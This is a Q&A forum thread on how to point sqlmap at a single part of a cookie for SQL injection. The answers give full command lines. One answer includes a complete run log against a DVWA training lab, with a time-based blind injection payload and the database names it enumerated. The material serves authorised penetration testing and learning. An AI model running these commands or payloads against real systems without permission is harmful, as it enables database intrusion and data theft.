How to inject a part of cookie using sqlmap

Question

I need to do SQL injection on a part of cookie using sqlmap. The target URL is static.

A sample cookie:

Cookie1=blah_var1/blah_val1/blah_var2/blah_val2/searchtext/userinput/blah_var3/blah_val3/.../

In this cookie i need to inject the "userinput" using sqlmap. I know --cookie parameter but it wont work in this case. This is like part of cookie alone have to be injected using sqlmap.

I don't know how to do this. Please help.

Subcontract

Answer 1

i got the same problem to inject SQL in Cookie, I looked at its help and its code, now finally something made some sense, let me put my hypothesis:

1. Cookie base inject works with only level>=2.
2. You need to specify param-filter='COOKIE'.
3. Do not let sqlmap to try for URI injections when it asked for, or else it will fail by doing GET/POST based testing.
4. If you specify custom injection marker on that testable cookie do not proceed with that, or else it will fail.

I didn't try so many combinations on 3rd and 4th points, feel free to invalidate them. Okay so, try something like this:

sqlmap -u 'protocol://test.server/test_url/' --cookie='id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high' -p 'id' --param-filter='COOKIE' --skip='PHPSESSID,security' --flush-session --fresh-queries --proxy='https://localhost:7777'  --dbs --dbms='mysql' --os='linux' --ignore-code=404 --output-dir=./sqlmapdir/ --level=2

options necessary for cookie based testing are: -u, --cookie, -p, --param-filter, --level.

Command tried on SQLMap version: 1.4.8#stable

output:

$ sqlmap -u 'http://dvwa.local/vulnerabilities/sqli_blind/' --cookie='id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high' -p 'id' --param-filter='COOKIE' --skip='PHPSESSID,security' --flush-session --fresh-queries --proxy='https://localhost:7777'  --dbs --dbms='mysql' --os='linux' --ignore-code=404 --output-dir=./sqlmapdir/ --level=2
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.8#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:18:36 /2020-08-31/

[01:18:36] [WARNING] using '/home/dinesh/Documents/work/workspaces/git_temp_projs/dvwa/SQL_Injection_Blind/sqlmapdir' as the output directory
[01:18:36] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site_com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] n
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] n
[01:18:39] [INFO] testing connection to the target URL
[01:18:40] [INFO] testing if the target URL content is stable
[01:18:43] [INFO] target URL content is stable
do you want to URL encode cookie values (implementation specific)? [Y/n] y
[01:19:01] [WARNING] heuristic (basic) test shows that Cookie parameter 'id' might not be injectable
[01:19:02] [INFO] testing for SQL injection on Cookie parameter 'id'
[01:19:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:19:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[01:19:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[01:19:15] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[01:19:17] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[01:19:17] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[01:19:17] [INFO] testing 'Generic inline queries'
[01:19:17] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[01:19:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[01:19:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:19:26] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[01:19:31] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:19:32] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[01:19:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[01:19:47] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[01:19:50] [INFO] testing 'MySQL inline queries'
[01:19:52] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[01:19:52] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[01:19:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:20:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[01:20:33] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[01:21:28] [INFO] Cookie parameter 'id' appears to be 'MySQL >= 5.0.12 RLIKE time-based blind' injectable 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n] n
[01:23:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:23:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:23:47] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] n
[01:24:08] [WARNING] if UNION based SQL injection is not detected, please consider usage of option '--union-char' (e.g. '--union-char=1') 
[01:24:08] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[01:24:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[01:24:27] [INFO] testing 'MySQL UNION query (65) - 21 to 40 columns'
[01:24:36] [INFO] checking if the injection point on Cookie parameter 'id' is a false positive
Cookie parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 262 HTTP(s) requests:
---
Parameter: id (Cookie)
    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload: id=*' RLIKE SLEEP(5) AND 'EZrr'='EZrr; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high
---
[01:50:27] [INFO] the back-end DBMS is MySQL
[01:50:27] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[01:50:52] [INFO] fetching database names
[01:50:52] [INFO] fetching number of databases
[01:50:52] [INFO] retrieved: 2
[01:51:42] [INFO] retrieved: information_schema
[02:16:58] [INFO] retrieved: dvwa
available databases [2]:
[*] dvwa
[*] information_schema

[02:22:32] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 414 times
[02:22:32] [INFO] fetched data logged to text files under '/home/dinesh/Documents/work/workspaces/git_temp_projs/dvwa/SQL_Injection_Blind/sqlmapdir/dvwa.local'

[*] ending @ 02:22:32 /2020-08-31/

Np

Answer 2

Intercept all request, save it to a file and then give that file to sqlmap with -r parameter, by default sqlmap should check cookie.

sqlmap.py -r request.txt

You can use tamper data (firefox extension), or free version of burp proxy to intercept request.

Tehee

Thank you for reply. I know to intercept with burp suite save it to text file and send post request using it. If we do this sqlmap will inject all parameters in the request and cookie. But i need to inject part of a cookie. Please help. – Subcontract

you can use "*" write * to parameter you want to test. Also you can specify parameter with -p – Tehee

Hi the cookie has many variable names and values pair. one of which is this "/searchtext/userinput/". This is part of a cookie. How to add "*" in this? please help. – Subcontract

can you paste cookies ? you can mask values – Tehee

Here is the cookie value - STATE_COOKIE=%2F1%2F_VMD%2F1%26_REQS%2F_RVID%2FCriteriaResourceFilter%2F_TIME%2F1403689244638%2F_ORVID%2FPassTrixMain%2FSEARCH_COLUMN%2FRESOURCENAME%2FSEARCH_VALUE%2Fsearchtext* I have added * in the search value but it doesn't work. – Subcontract

specifying param-filter='COOKIE' broke it for me. Removing it worked. – Kruger

Answer 3

Try something like this:

sqlmap.py -u localhost/vulnerable --cookie="STATE_COOKIE=%2F1%2F_VMD%2F1%26_REQS%2F_RVID%2FCriteriaResourceFilter%2F_TIME%2‌​F1403689244638%2F_ORVID%2FPassTrixMain%2FSEARCH_COLUMN%2FRESOURCENAME%2FSEARCH_VA‌​LUE%2Fsearchtext*"

Bauble

Answer 4

This will test the parameter auth in the cookie:

sqlmap -u "website" --cookie='auth=blabla; uuid=blabla' -p auth --level=2

Level must be at least 2. This isn't the only way to specify the parameter to test, you can also use * to specify the injection point.

sqlmap -u "website" --cookie='auth=blabla; uuid=*' --level=2

Emmaemmalee